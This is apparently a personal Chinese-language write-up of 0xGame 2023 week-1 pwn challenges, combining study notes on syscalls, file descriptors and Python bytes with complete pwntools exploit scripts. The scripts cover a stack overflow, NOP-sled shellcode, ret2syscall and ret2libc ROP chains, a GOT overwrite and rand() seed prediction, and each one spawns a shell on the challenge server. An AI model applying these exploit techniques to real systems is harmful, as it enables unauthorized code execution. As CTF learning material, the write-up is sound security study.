【2023 week1】0xgame-CTF
找不到且不对劲的flag
ls -a 显示隐藏文件
cd .secret
cat flag 即可
永远进不去的后门
read函数之前的关于参数的汇编得出buf与rbp相差0x40
from pwn import*
context(os="linux",arch="amd64",log_level="debug")
file=remote("8.130.35.16",51002)
print(p64(0x401298))
payload=b"a"*0x48+p64(0x401298)
file.send(payload)
file.interactive()
随便乱搞的shellcode
mmap是一种内存映射文件的方法,即将一个文件或者其它对象映射到进程的地址空间,实现文件磁盘地址和进程虚拟地址空间中一段虚拟地址的一一对映关系。实现这样的映射关系后,进程就可以采用指针的方式读写操作这一段内存,而系统会自动回写脏页面到对应的文件磁盘上,即完成了对文件的操作而不必再调用read,write等系统调用函数。相反,内核空间对这段区域的修改也直接反映用户空间,从而可以实现不同进程间的文件共享
time()当参数为NULL时,返回值是从1970年1月1日至今所经历的时间(以秒为单位)
rand()需要一个“种子”来进行生成伪随机数。而如果我们仅仅调用rand()函数,而没有设置随机数种子,rand()函数在调用时,自动设计随机数种子为1。随机种子相同,每次产生的随机数也会相同。解决办法就是使用srand()函数产生随机种子
如果在程序中定义了一个函数,那么在编译时系统就会为这个函数代码分配一段存储空间,这段存储空间的首地址称为这个函数的地址。而且函数名表示的就是这个地址。既然是地址我们就可以定义一个指针变量来存放,这个指针变量就叫作函数指针变量,简称函数指针。
函数返回值类型 (* 指针变量名) (函数参数列表);
void(*)(void) --表示一个返回值为void,没有参数的函数指针
(void(*)(void))--表示将函数强转成返回值为void,没有参数的函数的类型转换
在Linux中一切皆文件,文件描述符(file descriptor)是内核为了高效管理已被打开的文件所创建的索引,是一个非负整数(通常是小整数),用于指代被打开的文件,所有执行I/O操作的系统调用都通过文件描述符。程序刚刚启动的时候,0是标准输入,1是标准输出,2是标准错误。如果此时去打开一个新的文件,它的文件描述符会是3。
标准输入输出的指向是默认的,默认打开一个终端后,0,1,2都指向同一个位置也就是当前终端。我们可以修改它们的指向,也即重定位
close(1)关闭了标准输出
沙盒(英语:sandbox,又译为沙箱),计算机专业术语,在计算机安全领域中是一种安全机制,为运行中的程序提供的隔离环境。通常是作为一些来源不可信、具破坏力或无法判定程序意图的程序提供实验之用。
换行符对应十六进制ascll码 0x0a
从0x20230000写入
bufa()的函数地址为0x20230000~0x20230000+255 即0x20230100(但不包括该地址)
NOP指令即“空指令”。执行到NOP指令时,CPU什么也不做,仅仅当做一个指令执行过去并继续执行NOP(地址增加的方向)后面的一条指令
内存中的十六进制90为nop指令
shellcraft.sh() 生成的是shell的汇编代码
asm(shellcraft.sh() ) 生成的是shell的二进制码(在内存中存放和该码一样)
b"90"在内存中存放是90的十六级进制ascll码
b"\x90"在内存中存放就是90(十六进制形式)
from pwn import*
context(os="linux",arch="amd64",log_level="debug")
file=remote("8.130.35.16",51003)
payload=asm(shellcraft.sh()).rjust(0x100,b"\x90")
file.sendlineafter("code:",payload)
file.interactive()
⾼端的syscall
首先可以发现一个alarm函数,修改其参数,不然影响调试
syscall和int 80都是系统调用
ROPgadget --binary 文件名 --only “pop|ret” | grep rdi
ROPgadget --binary 文件名 --sting ‘/bin/sh’
Test命令将两个操作数进行逻辑与运算
传统Int 0x80系统调用
exceve调用号 64位为59 32位为11
flat函数可以将多个变量转换为二进制字符串,这是一种官方的write up
下面可以理解为一个shellcode,理解一下系统调用shell需要的参数
push rax
xor rdx, rdx
xor rsi, rsi
mov rbx,'/bin//sh'
push rbx
push rsp
pop rdi
mov al, 59
syscall
系统调用号:EAX
参数:EBX、ECX、EDX、ESI、EDI、EBP
返回值:EAX
具体功能号在 unistd_32.h 文件中
64位系统调用syscall
系统调用号:RAX
参数:RDI、RSI、RDX、R10、R8、R9
返回值:RAX
具体功能号在 unistd_64.h 文件中
在pwn中一般是使用 sys_execve 系统调用来获取shell的。
这个endbr64指令在旧版本的cpu中会被当作NOP指令,而在新的cpu中其实也是个空操作指令,但是会被当作一个标志,用于监控间接跳转,他会出现在函数的开头位置。
具体来说,就是当发生间接跳转时,cpu会从IDLE状态转换为WAITING状态,在WAITING状态的cpu运行的下一条指令必须为endbr64,如果不是的话,那么直接抛出一个异常,是的话CPU就转为IDLE状态继续执行。
SIGBUS时总是因为地址未对齐导致的,而SIGSEGV则是由于内存地址不合法造成的
from pwn import*
context(os="linux",arch="amd64",log_level="debug")
#file=remote("8.130.35.16",51004)
s=process("/home/llk/桌面/exp/ret2syscall(1)/dist/ret2syscall")
elf=ELF("/home/llk/桌面/exp/ret2syscall(1)/dist/ret2syscall")
gdb.attach(s,"b*main") //这玩意最好放前面这些东西的后边,不然脑子容易起火
rdi=0x00000000004012e3
rsi_r15=0x00000000004012e1
csu1=0x4012DA
csu2=0x4012C0
rax=0x401196
syscall=0x4011AE
#pause()
payload=b"a"*0x18+p64(0x00000000004012e3)+p64(0x404500)+p64(elf.plt.gets)+p64(0x00000000004012e3)+p64(0x3b)+p64(0x401196)+p64(0x4012DA)+p64(0)+p64(0)+p64(0x404500)+p64(0)+p64(0)+p64(0x404508)+p64(0x4012C0)
s.sendlineafter(b"Input: \n",payload )
s.sendline(b"/bin/sh\x00"+p64(syscall))
s.interactive()
我后门呢
C 库函数 size_t strlen(const char *str) 计算字符串 str 的长度,直到空结束字符,但不包括空结束字符
可以利用这一特性进行绕过如在零截断符后加上payload,从而使strlen结果为0进行绕过
当文件执行时,会将libc.so中的文件一起合成一个新文件然后放入内存运行,此时内存除了原来的文件,还有libc.so的文件
plt.[]和got.[]都是用于外部函数的,即程序中要使用到的外部函数
sym.[]可以用于自己构造的函数或者程序代码中要使用的外部函数(为外部函数时等于plt.[]的相对应的值)
当第一次调用完某函数后,got表中才有相应的函数地址
a='python'
b=a[::-1]
print(b) #nohtyp
c=a[::-2]
print(c) #nhy
#从后往前数的话,最后一个位置为-1
d=a[:-1] #从位置0到位置-1之前的数
print(d) #pytho
e=a[:-2] #从位置0到位置-2之前的数
print(e) #pyth
python十六进制和十进制转换
10转16
hex()
16转10
eval()
one_gadget就来专职去查找动态链接库里execve地址的
int system(const char * command) //参数为地址
from pwn import *
context(os="linux",arch="amd64",log_level="debug")
file=remote("8.130.35.16",51005)
elf=ELF("../dist/ret2libc") //不能用elf=ELF("./ret2libc")
libc=ELF("../dist/libc.so.6") //不能用libc=ELF("./libc.so.6")
//路径尽量填绝对路径,不知道为啥相对路径不行
payload=b"\x00"*40+p64(0x0000000000401333)+p64(elf.got["puts"])+p64(elf.plt["puts"])+p64(elf.sym["main"])
file.sendlineafter(b"input:\n",payload)
a=file.recvline()
puts_addr=file.recvline()
puts_addr=u64(puts_addr[:-1].ljust(8,b"\x00"))
libc_base=puts_addr-libc.sym["puts"]+0xe3afe
system_addr=libc_base+0xe3afe
payload=b"\x00"*40+p64(0x000000000040132c)+p64(0)+p64(0)+p64(0)+p64(0)+p64(system_addr)
file.sendlineafter(b"input:\n",payload)
file.interactive()
got-it
利用got表 data段 bss段相邻的特性和对数组没有检查下界限的特性
Python3.1 开始引入了一个引入了一个新的整数类方法 int.to_bytes()。它是上一篇文章中讨论的 int.from_bytes() 反向转换方法。
(258).to_bytes(2, byteorder=“little”)
b’\x02\x01’
(258).to_bytes(2, byteorder=“big”)
b’\x01\x02’
(258).to_bytes(4, byteorder=“little”, signed=True)
b’\x02\x01\x00\x00’
(-258).to_bytes(4, byteorder=“little”, signed=True)
b’\xfe\xfe\xff\xff’
第一个参数是转换后的字节数据长度,第二个参数 byteorder 将字节顺序定义为 little 或 big-endian,可选参数 signed 确定是否使用二进制补码来表示整数。
输出bytes时候,它是采取这样的原则的:每读一个字节就和ascii码比对一下,如果符合ascii码的可显示字符(特殊字符,字母和数字,控制字符除外),那这个字节就按照ascii码来表示,否则就按十六进制\x某某来表示。
所以bytes对象不能包含超过0到127内ascii码范围的unicode字符串,而不能接受超过这个范围的unicode字符串
b’字符串’表示bytes对象,这时候相当于一个接受0到127内ascii码范围内的unicode码字符串的函数bytes(‘字符串’)
\x加两位十六进制数字表示一个字节
encode转化为bytes,bytes可以通过decode转化为字符串
这就是说明,tytes类型显示格式是十六进制格式,ASCII码原样不改变,但最终存储的值还是对应十六进制值格式对等的二进制格式值。
始终记住:显示的是十六进制格式,存储的是对应的码值。如:
b’a’[0]
97
显示的是字符a,实际上保存的是对应的ASCII码值97
from pwn import *
context(arch='amd64', os='linux', log_level='debug')
#s=process("./got-it")
s=remote("8.130.35.16",51006)
libc=ELF("../dist/libc.so.6")
def menu(ch):
s.sendlineafter(b">> ",str(ch).encode())
def show(idx):
menu(2)
s.sendlineafter(b"id: ",str(idx).encode())
s.recvuntil(b"name: ")
return s.recvline()[:-1]
def edit(idx,name):
menu(3)
s.sendlineafter(b"id: ",str(idx).encode())
s.sendafter(b"name: ",name)
dat=show(-17)
info(dat)
libc.address=u64(dat.ljust(8,b"\x00"))-libc.sym.puts
success(hex(libc.address))
edit(-11,p64(libc.sym.system)[:6])
menu(0x2023)
s.interactive()
字符串和随机数
利用printf 遇到“\x00”截断的特性得到seed种子随后构造对应正确的值即可
在写python程序时,有时会用到C语言库函数
ctypes是一个用于Python的外部函数库,它提供C兼容的数据类型,并允许在DLL或共享库中调用函数。
Linux 系统下的 C 标准库动态链接文件为 libc.so.6
大致模板
from ctypes import *
libc = cdll.LoadLibrary("/lib/x86_64-linux-gnu/libc.so.6")
libc.函数() //可调用/lib/x86_64-linux-gnu/libc.so.6中存在的函数了
Python中的模块(.py文件)在创建之初会自动加载一些内建变量,__name__就是其中之一。
Python模块中通常会定义很多变量和函数,这些变量和函数相当于模块中的一个功能,模块被导入到别的文件中,可以调用这些变量和函数。那么这时 name 的作用就彰显了,它可以标识模块的名字,可以显示一个模块的某功能是被自己执行还是被别的文件调用执行,
假设模块A、B,模块A自己定义了功能C,模块B调用模块A,现在功能C被执行了:
如果C被A自己执行,也就是说模块执行了自己定义的功能,那么 name==‘main’
如果C被B调用执行,也就是说当前模块调用执行了别的模块的功能,那么__name__==‘A’(被调用模块的名字)
name变量和seed变量相隔0x20
from pwn import *
from ctypes import cdll
context(arch='amd64', os='linux',log_level='debug')
#s=process("../dist/pwn")
s=remote("8.130.35.16",51001)
clib=cdll.LoadLibrary("../dist/libc.so.6")
if __name__=="__main__":
#sleep(5)
s.sendafter(b"Name: ",b"admin".ljust(0x20,b"a"))
s.sendafter(b"Password: ",b"1s_7h1s_p9ss_7tuIy_sAf3?")
s.recvuntil(b"admin".ljust(0x20,b"a"))
seed=u32(s.recv(4))
clib.srand(seed)
arg1=clib.rand()^0xd0e0a0d0
info(hex(arg1))
arg2=clib.rand()^0x0b0e0e0f
info(hex(arg2))
chal=(arg1^arg2)%1000000
info(hex(chal))
s.sendlineafter(b"Wanna see it?",b"y")
s.sendlineafter(b"Input the security code to continue: ",str(chal).encode())
s.interactive()